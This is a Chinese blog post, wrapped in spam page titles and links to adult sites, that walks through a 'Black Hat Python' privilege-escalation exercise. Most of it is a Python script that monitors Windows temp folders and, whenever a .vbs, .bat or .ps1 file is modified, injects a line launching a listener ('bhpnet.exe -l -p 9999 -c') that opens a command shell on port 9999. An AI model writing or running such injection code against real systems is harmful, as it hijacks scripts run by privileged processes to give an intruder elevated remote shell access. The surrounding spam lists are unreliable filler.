亚洲免费在线-亚洲免费在线播放-亚洲免费在线观看-亚洲免费在线观看视频-亚洲免费在线看-亚洲免费在线视频

Python黑帽子:黑客與滲透測試編程之道 windows系統(tǒng)提取篇3 在文件

系統(tǒng) 1804 0

代碼思路:

首先定義三個文件類型。.vbs,.bat,.ps1。對這三個后綴名的文件進(jìn)行監(jiān)視,并根據(jù)后綴名不同,插入不同的代碼。(意思都是運(yùn)行那個command)。

windows是創(chuàng)建一個文件并寫入數(shù)據(jù)的過程,其實就是先create,再modify,所以當(dāng)檢測到有后綴名為windows下可以執(zhí)行的文件被修改時。就可以插入惡意代碼。這里簡單的用一個inject_code()函數(shù)來表示插入的過程。

同時為了區(qū)分一個臨時文件是否已經(jīng)被插入了惡意代碼,可以使用一個標(biāo)志位加以區(qū)分。

代碼:

            import win32file
import tempfile
import threading
import os
import win32con

dir_minitor=["C:\\Windows\\Temp",tempfile.gettempdir()]
FILE_CREATED =1
FILE_DELETED =2
FILE_MODIFIED = 3
FILE_RENAMED_FROM=4
FILE_RENAMED_TO = 5

file_type={}
command="C:\\WINDOWS\\TEMP\\bhpnet.exe -l -p 9999 -c"
file_type['.vbs']=['\r\nbhpmarker\r\n','\r\nCreateObject(\"Wscript.Shell\").Run(\"%s\")\r\n'%command]
file_type['.bat']=['\r\nbhpmarker\r\n','\r\n%s\r\n'%command]
file_type['.ps1']=['\r\nbhpmarker\r\n','Start-Process\"%s\"\r\n'%command]

#print file_type.keys()
def code_inject(full_filename,extension,contents):
    #print "run"
    if file_type[extension][0] in contents:
        #print "hahha"
        return
    full_content=file_type[extension][0]
    full_content+=file_type[extension][1]
    full_content+=contents

    fd=open(full_filename,"wb")
    fd.write(full_content)
    fd.close()

    print "Injected code"
    return

def startMimitor(dir):
    FILE_LIST_DIRECTORY=0x0001
    dir_director=win32file.CreateFile(
        dir,
        FILE_LIST_DIRECTORY,
        win32con.FILE_SHARE_READ|win32con.FILE_SHARE_WRITE|win32con.FILE_SHARE_DELETE,
        None,
        win32con.OPEN_EXISTING,
        win32con.FILE_FLAG_BACKUP_SEMANTICS,
        None
    )
    while 1:
        try:
            results=win32file.ReadDirectoryChangesW(
                dir_director,
                1024,
                True,
                win32con.FILE_NOTIFY_CHANGE_DIR_NAME|win32con.FILE_NOTIFY_CHANGE_FILE_NAME|win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES|win32con.FILE_NOTIFY_CHANGE_SIZE|win32con.FILE_NOTIFY_CHANGE_LAST_WRITE|win32con.FILE_NOTIFY_CHANGE_SECURITY,
                None,
                None
            )
            for action,file_name in results:
                full_filename=os.path.join(dir,file_name)
                #print full_filename
                filename,extension = os.path.splitext(full_filename)
                # print filename
                # print extension
                if extension in file_type:
                    flag=1
                if action==FILE_CREATED:
                    if flag:
                        print "[*] Created %s"%full_filename
                elif action==FILE_DELETED:
                    if flag:
                        print "[-] Deleted %s"%full_filename
                elif action==FILE_MODIFIED:
                    if flag:
                        print "[*] Modified %s"%full_filename

                        print "[vvv] Dumping contents ...."
                        try:
                            fd = open(full_filename,"rb")
                            contents=fd.read()
                            fd.close()
                            print contents
                            print "[^^^] Dump complete."
                        except:
                            print "[!!!] Failed"
                        filename,extension=os.path.splitext(full_filename)
                        print full_filename+extension+contents
                        code_inject(full_filename,extension,contents)
                elif action==FILE_RENAMED_FROM:
                    if flag:
                        print "[>] Renamed from :%s"%full_filename
                elif action==FILE_RENAMED_TO:
                    if flag:
                        print "[<] Renamed to %s"%full_filename
                else:
                    if flag:
                        print "[???] Unknown:%s"%full_filename
        except:
            pass


for path in dir_minitor:
    monitor_thread = threading.Thread(target=startMimitor,args=(path,))
    print "Spawning monitoring thread for path:%s"%path
    # print file_type
    # if '.bat' in file_type.keys():
    #     print file_type
    monitor_thread.start()
          

運(yùn)行結(jié)果:

Python黑帽子:黑客與滲透測試編程之道 windows系統(tǒng)提取篇3 在文件監(jiān)視器中插入代碼_第1張圖片

?

?


更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主

微信掃碼或搜索:z360901061

微信掃一掃加我為好友

QQ號聯(lián)系: 360901061

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點(diǎn)擊下面給點(diǎn)支持吧,站長非常感激您!手機(jī)微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點(diǎn)擊微信右上角掃一掃功能,選擇支付二維碼完成支付。

【本文對您有幫助就好】

您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描上面二維碼支持博主2元、5元、10元、自定義金額等您想捐的金額吧,站長會非常 感謝您的哦!!!

發(fā)表我的評論
最新評論 總共0條評論
主站蜘蛛池模板: 日操夜操天天操 | 99在线看| 久久伊人免费视频 | 福利免费在线 | 高清一级做a爱过程免费视频 | 一区二区三区在线免费观看视频 | 亚洲国产经典 | 亚洲日本久久一区二区va | 精品国偷自产在线 | 涩涩www在线观看免费高清 | 日本免费不卡 | 国产福利免费视频 | 亚洲国产综合久久精品 | 国产欧美另类久久久精品免费 | 日本免费新一区二区三区 | 婷婷精品进入 | a毛片视频免费观看影院 | 日本成片网 | 狠狠亚洲婷婷综合色香 | 国产午夜精品一二区理论影院 | 欧美成人亚洲欧美成人 | 国产精品 色| 欧美日韩久久毛片 | 2020久久精品永久免费 | 四虎影视在线看免费观看 | 中文字幕在线激情日韩一区 | se成人国产精品 | 免费操片 | 日韩免费在线视频观看 | 欧美成人另类 | 欧美va亚洲va国产综合 | 久久99国产亚洲精品观看 | 男人资源网站 | 福利视频不卡 | 国内精品久久久久久久 | 青青青国产高清免费视频 | 日本精品欧洲www | 亚洲福利视频在线 | 不卡视频在线播放 | 四虎成年永久免费网站 | 五月婷婷之综合激情 |